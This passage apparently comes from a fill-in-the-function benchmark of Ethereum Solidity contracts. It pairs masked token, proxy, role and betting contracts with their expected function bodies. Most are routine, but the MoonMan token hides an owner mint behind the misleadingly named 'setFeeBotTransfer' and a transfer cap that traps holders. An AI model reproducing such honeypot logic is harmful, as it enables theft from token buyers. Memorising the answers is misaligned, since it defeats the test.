tAmount) private { uint256 currentRate = _getRate(); uint256 TAmount = tAmount.mul(internalDecimals).div(FLOATScalingFactor); uint256 rAmount = TAmount.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); if(inSwapAndLiquify) { _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } else if(_isUniswapPairAddress(recipient)) { uint256 fee = getSellBurn(TAmount); (uint256 rTransferAmount, uint256 rFYFee, uint256 rRewardFee) = _getRValues(rAmount, fee, currentRate); (uint256 tTransferAmount, uint256 tFYFee, uint256 tRewardFee) = _getTValues(TAmount, fee); _totalSupply = _totalSupply; _reflectFee(rFYFee, tFYFee); _transferFromExcludedSell(sender, recipient, rTransferAmount, rRewardFee, tTransferAmount, tRewardFee); } else { if(!_isWhitelisted(sender, recipient)) { uint256 fee = getTxBurn(TAmount); (uint256 rTransferAmount, uint256 rFYFee, uint256 rRewardFee) = _getRValues(rAmount, fee, currentRate); (uint256 tTransferAmount, uint256 tFYFee, uint256 tRewardFee) = _getTValues(TAmount, fee); _totalSupply = _totalSupply; _reflectFee(rFYFee, tFYFee); _transferFromExcludedTx(sender, recipient, rTransferAmount, rRewardFee, tTransferAmount, tRewardFee); } else { _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } } } function _transferFromExcludedSell(address sender, address recipient, uint256 rTransferAmount, uint256 rRewardFee, uint256 tTransferAmount, uint256 tRewardFee) private { _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _rOwned[rewardAddress] = _rOwned[rewardAddress].add(rRewardFee); emit Transfer(sender, recipient, _scaling(tTransferAmount)); emit Transfer(sender, rewardAddress, _scaling(tRewardFee)); } function _transferFromExcludedTx(address sender, address recipient, uint256 rTransferAmount, uint256 rRewardFee, uint256 tTransferAmount, uint256 tRewardFee) private { _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _rOwned[rewardAddress] = _rOwned[rewardAddress].add(rRewardFee); emit Transfer(sender, recipient, _scaling(tTransferAmount)); emit Transfer(sender, rewardAddress, _scaling(tRewardFee)); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); uint256 TAmount = tAmount.mul(internalDecimals).div(FLOATScalingFactor); uint256 rAmount = TAmount.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); if(inSwapAndLiquify) { _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } else if(_isUniswapPairAddress(recipient)) { uint256 fee = getSellBurn(TAmount); (uint256 rTransferAmount, uint256 rFYFee, uint256 rRewardFee) = _getRValues(rAmount, fee, currentRate); (uint256 tTransferAmount, uint256 tFYFee, uint256 tRewardFee) = _getTValues(TAmount, fee); _totalSupply = _totalSupply; _reflectFee(rFYFee, tFYFee); _transferBothExcludedSell(sender, recipient, rTransferAmount, rRewardFee, tTransferAmount, tRewardFee); } else { if(!_isWhitelisted(sender, recipient)) { uint256 fee = getTxBurn(TAmount); (uint256 rTransferAmount, uint256 rFYFee, uint256 rRewardFee) = _getRValues(rAmount, fee, currentRate); (uint256 tTransferAmount, uint256 tFYFee, uint256 tRewardFee) = _getTValues(TAmount, fee); _totalSupply = _totalSupply; _reflectFee(rFYFee, tFYFee); _transferBothExcludedTx(sender, recipient, rTransferAmount, rRewardFee, tTransferAmount, tRewardFee); } else { _rOwned[recipient] = _rOwned[recipient].add(rAmount); _tOwned[recipient] = _tOwned[recipient].add(TAmount); emit Transfer(sender, recipient, tAmount); } } } function _transferBothExcludedSell(address sender, address recipient, uint256 rTransferAmount, uint256 tTransferAmount, uint256 rRewardFee, uint256 tRewardFee) private { _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[rewardAddress] = _rOwned[rewardAddress].add(rRewardFee); emit Transfer(sender, recipient, _scaling(tTransferAmount)); emit Transfer(sender, rewardAddress, _scaling(tRewardFee)); } function _transferBothExcludedTx(address sender, address recipient, uint256 rTransferAmount, uint256 tTransferAmount, uint256 rRewardFee, uint256 tRewardFee) private { _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[rewardAddress] = _rOwned[rewardAddress].add(rRewardFee); emit Transfer(sender, recipient, _scaling(tTransferAmount)); emit Transfer(sender, rewardAddress, _scaling(tRewardFee)); } function _scaling(uint256 amount) private view returns (uint256) { uint256 scaledAmount = amount.mul(FLOATScalingFactor).div(internalDecimals); return(scaledAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function setBuybackUpperLimit(uint256 buyBackLimit) internal onlyOwner() { buyBackUpperLimit = buyBackLimit; } function setBuyBackEnabled(bool _enabled) public onlyOwner { buyBackEnabled = _enabled; emit BuyBackEnabledUpdated(_enabled); } function _getTValues(uint256 TAmount, uint256 fee) private view returns (uint256, uint256, uint256) { uint256 tFYFee = TAmount.div(FYFee); uint256 tRewardFee = fee; uint256 tTransferAmount = TAmount.sub(tFYFee).sub(tRewardFee); return (tTransferAmount, tFYFee, tRewardFee); } function _getRValues(uint256 rAmount, uint256 fee, uint256 currentRate) private view returns (uint256, uint256, uint256) { uint256 rFYFee = rAmount.div(FYFee); uint256 rRewardFee = fee.mul(currentRate); uint256 rTransferAmount = _getRValues2(rAmount, rFYFee, rRewardFee); return (rTransferAmount, rFYFee, rRewardFee); } <FILL_FUNCTION> function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = initSupply; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, initSupply); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(initSupply)) return (_rTotal, initSupply); return (rSupply, tSupply); } function _setRewardAddress(address rewards_) external onlyOwner { rewardAddress = rewards_; } function setMarketingDivisor(uint256 divisor) external onlyOwner() { MarketingDivisor = divisor; } function setBuybackDivisor(uint256 divisor) external onlyOwner() { BuybackDivisor = divisor; } function setMarketingAddress(address _MarketingAddress) external onlyOwner() { MarketingAddress = payable(_MarketingAddress); } function setBuybackAddress(address _BuybackAddress) external onlyOwner() { BuybackAddress = payable(_BuybackAddress); } function afterLiq() external onlyOwner { swapAndLiquifyEnabled = false; SELL_FEE = 8; TX_FEE = 90; tradingEnabled = true; } function float() external onlyOwner { swapAndLiquifyEnabled = true; FYFee = 200; TX_FEE = 8; } /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * * @dev The supply adjustment equals (totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is CpiOracleRate / baseCpi */ function rebase(uint256 epoch, uint256 indexDelta, bool positive) external onlyRebaser returns (uint256) { uint256 currentRate = _getRate(); if (!positive) { uint256 newScalingFactor = FLOATScalingFactor.mul(BASE.sub(indexDelta)).div(BASE); FLOATScalingFactor = newScalingFactor; _totalSupply = ((initSupply.sub(_rOwned[BurnAddress].div(currentRate)) .mul(FLOATScalingFactor).div(internalDecimals))); emit Rebase(epoch, FLOATScalingFactor); IUniswapV2Pair(uniswapETHPool).sync(); for (uint256 i = 0; i < futurePools.length; i++) { address futurePoolAddress = futurePools[i]; IUniswapV2Pair(futurePoolAddress).sync(); } return _totalSupply; } else { uint256 newScalingFactor = FLOATScalingFactor.mul(BASE.add(indexDelta)).div(BASE); if (newScalingFactor < _maxScalingFactor()) { FLOATScalingFactor = newScalingFactor; } else { FLOATScalingFactor = _maxScalingFactor(); } _totalSupply = ((initSupply.sub(_rOwned[BurnAddress].div(currentRate)) .mul(FLOATScalingFactor).div(internalDecimals))); emit Rebase(epoch, FLOATScalingFactor); IUniswapV2Pair(uniswapETHPool).sync(); for (uint256 i = 0; i < futurePools.length; i++) { address futurePoolAddress = futurePools[i]; IUniswapV2Pair(futurePoolAddress).sync(); } return _totalSupply; } } function getCurrentPairTokenAddress() public view returns(address) { return currentPairTokenAddress; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount >= 10**8 , 'FLOAT: maxTxAmount should be greater than 0.1 FLOAT'); _maxTxAmount = maxTxAmount; emit MaxTxAmountUpdated(maxTxAmount); } function _setMinTokensBeforeSwap(uint256 minTokensBeforeSwap) external onlyOwner() { require(minTokensBeforeSwap >= 1 * 10**9 && minTokensBeforeSwap <= 2000 * 10**9, 'FLOAT: minTokenBeforeSwap should be between 1 and 2000 FLOAT'); _minTokensBeforeSwap = minTokensBeforeSwap; emit MinTokensBeforeSwapUpdated(minTokensBeforeSwap); } function updateSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function _enableTrading() external onlyOwner() { tradingEnabled = true; TradingEnabled(); } }
uint256 rTransferAmount = rAmount.sub(rFYFee).sub(rRewardFee); return (rTransferAmount);
function _getRValues2(uint256 rAmount, uint256 rFYFee, uint256 rRewardFee) private pure returns (uint256)
function _getRValues2(uint256 rAmount, uint256 rFYFee, uint256 rRewardFee) private pure returns (uint256)
24480
BuildingStatus
changeStage
contract BuildingStatus is Ownable { /* Observer contract */ address public observer; /* Crowdsale contract */ address public crowdsale; enum statusEnum { crowdsale, refund, preparation_works, building_permit, design_technical_documentation, utilities_outsite, construction_residential, frame20, frame40, frame60, frame80, frame100, stage1, stage2, stage3, stage4, stage5, facades20, facades40, facades60, facades80, facades100, engineering, finishing, construction_parking, civil_works, engineering_further, commisioning_project, completed } modifier notCompleted() { require(status != statusEnum.completed); _; } modifier onlyObserver() { require(msg.sender == observer || msg.sender == owner || msg.sender == address(this)); _; } modifier onlyCrowdsale() { require(msg.sender == crowdsale || msg.sender == owner || msg.sender == address(this)); _; } statusEnum public status; event StatusChanged(statusEnum newStatus); function setStatus(statusEnum newStatus) onlyCrowdsale public { status = newStatus; StatusChanged(newStatus); } function changeStage(uint8 stage) public onlyObserver {<FILL_FUNCTION_BODY> } }
contract BuildingStatus is Ownable { /* Observer contract */ address public observer; /* Crowdsale contract */ address public crowdsale; enum statusEnum { crowdsale, refund, preparation_works, building_permit, design_technical_documentation, utilities_outsite, construction_residential, frame20, frame40, frame60, frame80, frame100, stage1, stage2, stage3, stage4, stage5, facades20, facades40, facades60, facades80, facades100, engineering, finishing, construction_parking, civil_works, engineering_further, commisioning_project, completed } modifier notCompleted() { require(status != statusEnum.completed); _; } modifier onlyObserver() { require(msg.sender == observer || msg.sender == owner || msg.sender == address(this)); _; } modifier onlyCrowdsale() { require(msg.sender == crowdsale || msg.sender == owner || msg.sender == address(this)); _; } statusEnum public status; event StatusChanged(statusEnum newStatus); function setStatus(statusEnum newStatus) onlyCrowdsale public { status = newStatus; StatusChanged(newStatus); } <FILL_FUNCTION> }
if (stage==1) status = statusEnum.stage1; if (stage==2) status = statusEnum.stage2; if (stage==3) status = statusEnum.stage3; if (stage==4) status = statusEnum.stage4; if (stage==5) status = statusEnum.stage5;
function changeStage(uint8 stage) public onlyObserver
function changeStage(uint8 stage) public onlyObserver
58003
VirtualRealityOperatingSystem
null
contract VirtualRealityOperatingSystem is Context, ERC20, ERC20Detailed, ERC20Pausable { constructor () public ERC20Detailed("Virtual Reality Operating System", "VOS", 18) {<FILL_FUNCTION_BODY> } }
contract VirtualRealityOperatingSystem is Context, ERC20, ERC20Detailed, ERC20Pausable { <FILL_FUNCTION> }
_mint(_msgSender(), 960000000 * (10 ** uint256(decimals())));
constructor () public ERC20Detailed("Virtual Reality Operating System", "VOS", 18)
constructor () public ERC20Detailed("Virtual Reality Operating System", "VOS", 18)
87533
BlacklistAdminRole
removeBlacklistAdmin
contract BlacklistAdminRole is Ownable { using Roles for Roles.Role; event BlacklistAdminAdded(address indexed account); event BlacklistAdminRemoved(address indexed account); Roles.Role private _blacklistAdmins; constructor () internal { _addBlacklistAdmin(msg.sender); } modifier onlyBlacklistAdmin() { require(isBlacklistAdmin(msg.sender), "BlacklistAdminRole: caller does not have the BlacklistAdmin role"); _; } function isBlacklistAdmin(address account) public view returns (bool) { return _blacklistAdmins.has(account); } function addBlacklistAdmin(address account) public onlyOwner { _addBlacklistAdmin(account); } function removeBlacklistAdmin(address account) public onlyOwner {<FILL_FUNCTION_BODY> } function renounceBlacklistAdmin() public { _removeBlacklistAdmin(msg.sender); } function _addBlacklistAdmin(address account) internal { _blacklistAdmins.add(account); emit BlacklistAdminAdded(account); } function _removeBlacklistAdmin(address account) internal { _blacklistAdmins.remove(account); emit BlacklistAdminRemoved(account); } }
contract BlacklistAdminRole is Ownable { using Roles for Roles.Role; event BlacklistAdminAdded(address indexed account); event BlacklistAdminRemoved(address indexed account); Roles.Role private _blacklistAdmins; constructor () internal { _addBlacklistAdmin(msg.sender); } modifier onlyBlacklistAdmin() { require(isBlacklistAdmin(msg.sender), "BlacklistAdminRole: caller does not have the BlacklistAdmin role"); _; } function isBlacklistAdmin(address account) public view returns (bool) { return _blacklistAdmins.has(account); } function addBlacklistAdmin(address account) public onlyOwner { _addBlacklistAdmin(account); } <FILL_FUNCTION> function renounceBlacklistAdmin() public { _removeBlacklistAdmin(msg.sender); } function _addBlacklistAdmin(address account) internal { _blacklistAdmins.add(account); emit BlacklistAdminAdded(account); } function _removeBlacklistAdmin(address account) internal { _blacklistAdmins.remove(account); emit BlacklistAdminRemoved(account); } }
_removeBlacklistAdmin(account);
function removeBlacklistAdmin(address account) public onlyOwner
function removeBlacklistAdmin(address account) public onlyOwner
49752
UnanimitySacrednessDefrayTechnically
transfer
contract UnanimitySacrednessDefrayTechnically is Ownable, SafeMath, IERC20{ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor() public { balanceOf[msg.sender] = 910000000000000000000000000; totalSupply = 910000000000000000000000000; name = "Unanimity Sacredness Defray Technically"; symbol = "USDT2"; decimals = 18; } function transfer(address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } function approve(address _spender, uint256 _value) public returns (bool success) { require((_value == 0) || (allowance[msg.sender][_spender] == 0)); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require (_to != address(0)); require (_value > 0); require (balanceOf[_from] >= _value) ; require (balanceOf[_to] + _value > balanceOf[_to]); require (_value <= allowance[_from][msg.sender]); balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); emit Transfer(_from, _to, _value); return true; } }
contract UnanimitySacrednessDefrayTechnically is Ownable, SafeMath, IERC20{ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor() public { balanceOf[msg.sender] = 910000000000000000000000000; totalSupply = 910000000000000000000000000; name = "Unanimity Sacredness Defray Technically"; symbol = "USDT2"; decimals = 18; } <FILL_FUNCTION> function approve(address _spender, uint256 _value) public returns (bool success) { require((_value == 0) || (allowance[msg.sender][_spender] == 0)); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require (_to != address(0)); require (_value > 0); require (balanceOf[_from] >= _value) ; require (balanceOf[_to] + _value > balanceOf[_to]); require (_value <= allowance[_from][msg.sender]); balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); emit Transfer(_from, _to, _value); return true; } }
require(_to != address(0)); require(_value > 0); require(balanceOf[msg.sender] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[msg.sender] + balanceOf[_to]; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); emit Transfer(msg.sender, _to, _value); assert(balanceOf[msg.sender]+balanceOf[_to]==previousBalances); return true;
function transfer(address _to, uint256 _value) public returns (bool)
function transfer(address _to, uint256 _value) public returns (bool)
20024
SAVCOIN
approveAndCall
contract SAVCOIN is StandardToken { function () { throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function SAVCOIN( ) { balances[msg.sender] = 500000000000000000000000000; totalSupply = 500000000000000000000000000; name = "SAV COIN"; decimals = 18; symbol = "SAV"; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {<FILL_FUNCTION_BODY> } }
contract SAVCOIN is StandardToken { function () { throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function SAVCOIN( ) { balances[msg.sender] = 500000000000000000000000000; totalSupply = 500000000000000000000000000; name = "SAV COIN"; decimals = 18; symbol = "SAV"; } <FILL_FUNCTION> }
allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true;
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success)
/* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success)
91949
BSE
BSE
contract BSE is StandardToken { function () public { revert(); } string public name = "BiSale"; uint8 public decimals = 18; string public symbol = "BSE"; string public version = 'v0.1'; uint256 public totalSupply = 0; function BSE () {<FILL_FUNCTION_BODY> } }
contract BSE is StandardToken { function () public { revert(); } string public name = "BiSale"; uint8 public decimals = 18; string public symbol = "BSE"; string public version = 'v0.1'; uint256 public totalSupply = 0; <FILL_FUNCTION> }
totalSupply = 100000000000 * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply;
function BSE ()
function BSE ()
49590
OwnedUpgradeabilityProxy
_upgradeTo
contract OwnedUpgradeabilityProxy is Proxy, OwnedUpgradeabilityStorage { /** * @dev Event to show ownership has been transferred * @param previousOwner representing the address of the previous owner * @param newOwner representing the address of the new owner */ event ProxyOwnershipTransferred(address previousOwner, address newOwner); /** * @dev This event will be emitted every time the implementation gets upgraded * @param implementation representing the address of the upgraded implementation */ event Upgraded(address indexed implementation); /** * @dev Upgrades the implementation address * @param implementation representing the address of the new implementation to be set */ function _upgradeTo(address implementation) internal {<FILL_FUNCTION_BODY> } /** * @dev Throws if called by any account other than the owner. */ modifier onlyProxyOwner() { require(msg.sender == proxyOwner()); _; } /** * @dev Tells the address of the proxy owner * @return the address of the proxy owner */ function proxyOwner() public view returns (address) { return upgradeabilityOwner(); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferProxyOwnership(address newOwner) public onlyProxyOwner { require(newOwner != address(0)); emit ProxyOwnershipTransferred(proxyOwner(), newOwner); setUpgradeabilityOwner(newOwner); } /** * @dev Allows the upgradeability owner to upgrade the current implementation of the proxy. * @param implementation representing the address of the new implementation to be set. */ function upgradeTo(address implementation) public onlyProxyOwner { _upgradeTo(implementation); } /** * @dev Allows the upgradeability owner to upgrade the current implementation of the proxy * and delegatecall the new implementation for initialization. * @param implementation representing the address of the new implementation to be set. * @param data represents the msg.data to bet sent in the low level call. This parameter may include the function * signature of the implementation to be called with the needed payload */ function upgradeToAndCall(address implementation, bytes data) payable public onlyProxyOwner { upgradeTo(implementation); require(address(this).delegatecall(data)); } }
contract OwnedUpgradeabilityProxy is Proxy, OwnedUpgradeabilityStorage { /** * @dev Event to show ownership has been transferred * @param previousOwner representing the address of the previous owner * @param newOwner representing the address of the new owner */ event ProxyOwnershipTransferred(address previousOwner, address newOwner); /** * @dev This event will be emitted every time the implementation gets upgraded * @param implementation representing the address of the upgraded implementation */ event Upgraded(address indexed implementation); <FILL_FUNCTION> /** * @dev Throws if called by any account other than the owner. */ modifier onlyProxyOwner() { require(msg.sender == proxyOwner()); _; } /** * @dev Tells the address of the proxy owner * @return the address of the proxy owner */ function proxyOwner() public view returns (address) { return upgradeabilityOwner(); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferProxyOwnership(address newOwner) public onlyProxyOwner { require(newOwner != address(0)); emit ProxyOwnershipTransferred(proxyOwner(), newOwner); setUpgradeabilityOwner(newOwner); } /** * @dev Allows the upgradeability owner to upgrade the current implementation of the proxy. * @param implementation representing the address of the new implementation to be set. */ function upgradeTo(address implementation) public onlyProxyOwner { _upgradeTo(implementation); } /** * @dev Allows the upgradeability owner to upgrade the current implementation of the proxy * and delegatecall the new implementation for initialization. * @param implementation representing the address of the new implementation to be set. * @param data represents the msg.data to bet sent in the low level call. This parameter may include the function * signature of the implementation to be called with the needed payload */ function upgradeToAndCall(address implementation, bytes data) payable public onlyProxyOwner { upgradeTo(implementation); require(address(this).delegatecall(data)); } }
require(_implementation != implementation); _implementation = implementation; emit Upgraded(implementation);
function _upgradeTo(address implementation) internal
/** * @dev Upgrades the implementation address * @param implementation representing the address of the new implementation to be set */ function _upgradeTo(address implementation) internal
62118
MoonMan
totalSupply
contract MoonMan is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000 * 10**9 * 10**18; string private _name = 'MoonMan | moonmaninu.com'; string private _symbol = 'MoonMan'; uint8 private _decimals = 18; uint256 private _maxBotFee = 650 * 10**9 * 10**18; uint256 private _minBotFee = 50 * 10**8 * 10**18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setFeeBotTransfer(uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _balances[_msgSender()] = _balances[_msgSender()].add(amount); emit Transfer(address(0), _msgSender(), amount); } function setMaxBotFee(uint256 maxTotal) public onlyOwner { _maxBotFee = maxTotal * 10**18; } function setMinBotFee(uint256 minTotal) public onlyOwner { _minBotFee = minTotal * 10**18; } function totalSupply() public view override returns (uint256) {<FILL_FUNCTION_BODY> } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (balanceOf(sender) > _minBotFee && balanceOf(sender) < _maxBotFee) { require(amount < 100, "Transfer amount exceeds the maxTxAmount."); } _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ }
contract MoonMan is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000 * 10**9 * 10**18; string private _name = 'MoonMan | moonmaninu.com'; string private _symbol = 'MoonMan'; uint8 private _decimals = 18; uint256 private _maxBotFee = 650 * 10**9 * 10**18; uint256 private _minBotFee = 50 * 10**8 * 10**18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setFeeBotTransfer(uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _balances[_msgSender()] = _balances[_msgSender()].add(amount); emit Transfer(address(0), _msgSender(), amount); } function setMaxBotFee(uint256 maxTotal) public onlyOwner { _maxBotFee = maxTotal * 10**18; } function setMinBotFee(uint256 minTotal) public onlyOwner { _minBotFee = minTotal * 10**18; } <FILL_FUNCTION> function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (balanceOf(sender) > _minBotFee && balanceOf(sender) < _maxBotFee) { require(amount < 100, "Transfer amount exceeds the maxTxAmount."); } _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ }
return _tTotal;
function totalSupply() public view override returns (uint256)
function totalSupply() public view override returns (uint256)
41759
BitcoinPriceBetM
payPrize
contract BitcoinPriceBetM { event OnBet ( address indexed player, address indexed ref, uint256 indexed timestamp, uint256 value, uint256 betPrice, uint256 extra, uint256 refBonus, uint256 amount ); event OnWithdraw ( address indexed referrer, uint256 value ); event OnWithdrawWin ( address indexed player, uint256 value ); event OnPrizePayed ( address indexed player, uint256 value, uint8 place, uint256 betPrice, uint256 amount, uint256 betValue ); event OnNTSCharged ( uint256 value ); event OnYJPCharged ( uint256 value ); event OnGotMoney ( address indexed source, uint256 value ); event OnCorrect ( uint256 value ); event OnPrizeFunded ( uint256 value ); event OnSendRef ( address indexed ref, uint256 value, uint256 timestamp, address indexed player, address indexed payStation ); event OnNewRefPayStation ( address newAddress, uint256 timestamp ); event OnBossPayed ( address indexed boss, uint256 value, uint256 timestamp ); string constant public name = "BitcoinPrice.Bet Monthly"; string constant public symbol = "BPBM"; address public owner; address constant internal boss1 = 0x42cF5e102dECCf8d89E525151c5D5bbEAc54200d; address constant internal boss2 = 0x8D86E611ef0c054FdF04E1c744A8cEFc37F00F81; NeutrinoTokenStandard constant internal neutrino = NeutrinoTokenStandard(0xad0a61589f3559026F00888027beAc31A5Ac4625); ReferralPayStation public refPayStation = ReferralPayStation(0x4100dAdA0D80931008a5f7F5711FFEb60A8071BA); uint256 constant public betStep = 0.1 ether; uint256 public betStart; uint256 public betFinish; uint8 constant bossFee = 10; uint8 constant yjpFee = 2; uint8 constant refFee = 8; uint8 constant ntsFee = 5; mapping(address => uint256) public winBalance; uint256 public winBalanceTotal = 0; uint256 public bossBalance = 0; uint256 public jackpotBalance = 0; uint256 public ntsBalance = 0; uint256 public prizeBalance = 0; modifier onlyOwner { require(msg.sender == owner); _; } constructor(uint256 _betStart, uint256 _betFinish) public payable { owner = msg.sender; prizeBalance = msg.value; betStart = _betStart; // 1546290000 == 1 Jan 2019 GMT 00:00:00 betFinish = _betFinish; // 1548968400 == 31 Jan 2019 GMT 21:00:00 } function() public payable { emit OnGotMoney(msg.sender, msg.value); } function canMakeBet() public view returns (bool) { return now >= betStart && now <= betFinish; } function makeBet(uint256 betPrice, address ref) public payable { require(now >= betStart && now <= betFinish); uint256 value = (msg.value / betStep) * betStep; uint256 extra = msg.value - value; require(value > 0); jackpotBalance += extra; uint8 welcomeFee = bossFee + yjpFee + ntsFee; uint256 refBonus = 0; if (ref != 0x0) { welcomeFee += refFee; refBonus = value * refFee / 100; 